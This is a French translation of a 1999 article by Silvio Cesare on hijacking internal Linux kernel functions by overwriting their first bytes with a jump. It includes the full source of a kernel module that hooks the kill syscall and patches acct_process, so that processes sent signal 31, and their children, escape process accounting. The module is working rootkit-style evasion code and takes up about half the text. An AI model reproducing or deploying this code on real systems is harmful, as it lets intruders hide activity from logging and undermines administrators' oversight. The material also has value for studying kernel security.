Hijacking de fonctions Kernel

- Silvio Cesare silvio@big.net.au
- November 1999
Translation by eberkut - http://www.chez.com/keep

Introduction

Cet article décrit une méthode d'hijacking des fonctions internes du kernel, c'est à dire, les fonctions kernel qui sont déclarées à l'intérieur du kernel sans pointeur ou vecteur de fonction pour changer la fonction kernel qu'elle pointe aussi. Ceci peut avoir des utilisations pratiques, comme donné en code d'exemple qui patch le code d'accounting du processus pour ne pas logger des processus spécialement marqués (les processus donnés signalent 31).

Hijacking de fonctions Kernel

Les prémises basiques pour cette attaque sont de remplacer les premiers octets de la fonction initiale par un jump ASM vers le jump de remplacement. L'algorithme suit

In init_module...

* sauvegarder les 7 premiers octets de la fonction initiale pour usage ultérieur
* placer le nouveau code jump pour se pointer vers la fonction de remplacement
* replacer les 7 premiers octets de la fonction initiale par un saut

In cleanup_module...

* restaurer les octets de la fonction initiale avec la copie sauvegardée

In the replacement function...

* faire la charge utile pour appeler la vieille fonction...
* restaurer les octets de la fonction initiale avec la copie sauvegardée
* appeler la fonction initiale
* remplacer les 7 premier soctets de la fonction initiale par un saut

Le jump ASM utilisé est un saut indirect... Ceci signifie aucun dérangement avec des calculs d'offsets.

movl $address_to_jump,%eax
jmp *%eax


L'exemple implémenté

Le code d'exemple patche des acct_process dans kernel/sys.c qui explique le processus accounting. Normalement, vous ne pouvez pas rediriger des acct_process, mais ceci fait tout le logging pour le processus accounting, ainsi nous détournent la fonction pour contrôler le logging de processus.

Le code travaille en attendant un kill -31 d'un processus, quand il est reçu, le syscall kill de remplacement place un bit dans les flags de processus qui marque le processus pour ne pas être enregistré par le processus accounting. Cette technique est idéale ainsi quand le processus fork, les flags du processus sont copiés, ainsi ses enfants sont aussi libres de log. Le coeur du code est dans _acct_process qui regarde les flags de processus et si ils sont marqués pour ne pas être loggé, retourne sans appeler les acct_process initiaux.

Les variables acct_process doivent être assignés à l'adresse correcte de la fonction dans le kernel. Typiquement, ceci ce trouve dans System.map mais si aucune carte n'est présente alors les techniques décrites dans mon article sur les RUNTIME KERNEL KMEM PATCHING (http://www.big.net.au/~silvio/) peuvent être utilisées.

-- acct_nolog.c (Linux 2.0.35)

#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/string.h>
#include <asm/unistd.h>

/*
changez ça avec l'adresse correcte, qui peut être trouve dans System.map
*/

int (*acct_process)(int) = (int (*)(int))0x00114520;

#define CODESIZE 7

#define NOLOG_SIGNAL 31
#define NOLOG_PF 0x10000000

static char original_acct_code[7];
static char acct_code[7] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
int (*original_kill)(pid_t, int);

extern void *sys_call_table[];

void *_memcpy(void *dest, const void *src, int size)
{
const char *p = src;
char *q = dest;
int i;

for (i = 0; i < size; i++) *q++ = *p++;

return dest;
}

int _acct_process(long exitcode)
{
if (!(current->flags & NOLOG_PF)) {
int ret;

_memcpy(acct_process, original_acct_code, CODESIZE);
ret = acct_process(exitcode);
_memcpy(acct_process, acct_code, CODESIZE);
return ret;
}
return 0;
}

struct task_struct *find_task(pid_t pid)
{
struct task_struct *task = current;

do {
if (task->pid == pid) return task;
task = task->next_task;
} while (task != current);

return NULL;
}


int _kill(pid_t pid, int sig)
{
if (sig == NOLOG_SIGNAL) {
struct task_struct *task;

task = find_task(pid);
if (task == NULL) return - ESRCH;

task->flags |= NOLOG_PF;
return 0;
}
return original_kill(pid, sig);
}

int init_module(void)
{
original_kill = sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = _kill;
*(long *)&acct_code[1] = (long)_acct_process;
_memcpy(original_acct_code, acct_process, CODESIZE);
_memcpy(acct_process, acct_code, CODESIZE);
return 0;
}

void cleanup_module(void)
{
sys_call_table[__NR_kill] = original_kill;
_memcpy(acct_process, original_acct_code, CODESIZE);
}